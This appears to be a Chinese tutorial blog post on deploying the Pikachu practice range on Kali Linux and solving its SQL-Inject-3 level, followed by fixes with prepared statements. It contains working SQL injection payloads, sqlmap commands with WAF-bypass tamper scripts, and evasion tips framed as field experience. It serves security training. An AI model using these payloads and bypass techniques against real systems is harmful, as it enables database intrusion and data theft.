1. 项目概述:Pikachu靶场SQL注入实战环境搭建
在网络安全学习路径中,靶场环境是每个白帽子成长的必经之路。Pikachu作为国内知名的漏洞练习平台,其SQL注入模块尤其适合新手入门。这次我们要在Kali Linux系统上搭建Pikachu靶场,重点突破SQL-Inject-3这个典型关卡。
Kali Linux作为渗透测试的标准系统,预装了sqlmap等神器,与Pikachu靶场组合能完美模拟真实渗透场景。不同于基础SQL注入关卡,SQL-Inject-3涉及更复杂的过滤机制和报错利用,需要掌握联合查询、布尔盲注等进阶技巧。我曾用这个组合训练过数十名安全新人,发现90%的初学者在这里会遇到第一个技术瓶颈。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与靶场部署
2.1 Kali Linux基础配置
首先确保你的Kali是最新版本(2023.3以上),关键组件需要这些准备步骤:
bash复制sudo apt update && sudo apt upgrade -y
sudo apt install -y apache2 php mysql-server php-mysql
这里特别提醒:Kali默认以root用户运行,但实际渗透测试中建议新建普通用户,用sudo提权操作。我在培训中见过太多因为滥用root权限导致的配置文件损坏案例。
2.2 Pikachu靶场安装
从GitHub获取官方镜像后,部署时要注意几个关键点:
bash复制wget https://github.com/zhuifengshaonianhanlu/pikachu/archive/refs/heads/master.zip
unzip master.zip -d /var/www/html/
chown -R www-data:www-data /var/www/html/pikachu-master
安装后访问http://localhost/pikachu-master时,常见问题是PHP模块缺失。如果页面报错,执行sudo apt install php-{gd,mbstring,json}补全依赖。去年某次企业内训中,我们就遇到过因为缺少mbstring模块导致的中文乱码问题。
2.3 数据库初始化
Pikachu的数据库配置藏在/inc/config.inc.php,修改时注意:
php复制$dbuser = 'root';
$dbpass = '你的MySQL密码'; // 建议不要用默认空密码
$dbname = 'pikachu';
初始化数据库时有个小技巧:先用mysql -u root -p登录,执行source /var/www/html/pikachu-master/pikachu.sql导入数据。遇到过SQL文件编码问题的话,记得先用iconv -f GBK -t UTF-8 pikachu.sql > pikachu_utf8.sql转换编码。
3. SQL-Inject-3漏洞深度解析
3.1 漏洞页面分析
访问/pikachu-master/vul/sqli/sqli_str.php,这个关卡模拟了开发者对用户输入进行了部分过滤但不够彻底的情况。提交单引号测试时,会看到典型的MySQL报错:
code复制You have an error in your SQL syntax...
通过Burp Suite抓包可以看到,后端代码大概是这样构造SQL的:
php复制$name = addslashes($_GET['name']); // 仅用addslashes转义
$sql = "SELECT * FROM users WHERE username='$name'";
这种防护可以被多种方式绕过。去年某次红队行动中,我们就遇到过类似场景——开发团队以为用了addslashes就万事大吉了。
3.2 手工注入步骤
-
探测注入点:输入
admin' and 1=1#返回正常,admin' and 1=2#返回异常,确认存在注入 -
获取字段数:
sql复制admin' order by 4# // 正常
admin' order by 5# // 报错 → 字段数为4
- 联合查询获取数据:
sql复制' union select 1,database(),user(),version()#
这里有个实战技巧:在真实环境中,如果遇到WAF拦截order by,可以用group by配合with rollup替代测试。
3.3 Sqlmap自动化利用
虽然手工注入是基本功,但实际渗透中效率更重要。保存请求为txt文件后:
bash复制sqlmap -r request.txt --batch --dbs
关键参数说明:
--tamper=space2comment绕过基础WAF--level=3提升检测级别--risk=2允许使用基于时间的测试
在2022年某次授权测试中,我们曾用--tamper=charencode成功绕过某云WAF的过滤规则。Sqlmap的tamper脚本库是需要重点研究的对象。
4. 防御方案与进阶技巧
4.1 安全开发建议
修复这类漏洞的正确姿势是:
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE username=?");
$stmt->execute([$name]);
但现实中很多老系统无法立即重构。临时方案可以用:
php复制$name = preg_replace('/[^a-zA-Z0-9]/', '', $_GET['name']);
4.2 靶场进阶玩法
- 修改关卡难度:编辑
sqli_str.php,添加如下过滤代码:
php复制$name = str_replace(['select', 'union'], '', $name);
然后尝试绕过这种过滤,这对CTF训练特别有用。
- 搭建蜜罐系统:在虚拟机里部署修改过的Pikachu,用
tcpdump记录攻击流量:
bash复制tcpdump -i eth0 port 80 -w attack.pcap
去年我用这个方法捕获到多个新型SQL注入攻击特征。
5. 常见问题排查实录
5.1 Kali环境问题
问题1:运行sqlmap时报ImportError: No module named xxx
解决方案:
bash复制sudo pip install --upgrade pip
sudo pip install -r /usr/share/sqlmap/requirements.txt
问题2:Apache无法解析PHP文件
检查要点:
bash复制sudo a2enmod php7.4 # 确认PHP模块已启用
sudo systemctl restart apache2
5.2 靶场运行异常
问题3:数据库连接失败
检查三部曲:
sudo systemctl status mysqlmysql -u root -p测试能否登录- 确认
config.inc.php中的密码与实际一致
问题4:页面显示不全/样式错乱
通常是路径配置问题:
html复制<base href="/pikachu-master/" /> <!-- 检查HTML中的base路径 -->
6. 渗透测试实战心得
在真实环境中,SQL注入往往不会这么明显。有几个关键判断技巧:
- 时间盲注时,用
select if(1,sleep(2),0)比直接用sleep()更隐蔽 - 遇到过滤时,尝试
/*!50000select*/这种MySQL特有注释语法 - 在Oracle环境下,
'||'1'||'这种连接符比union更有效
某次金融行业渗透测试中,我们发现注入点只在特定HTTP头中存在。这种场景下,保存请求文件时要确保完整包含headers。用Burp Suite的Copy to file功能时,务必勾选"Include headers"选项。
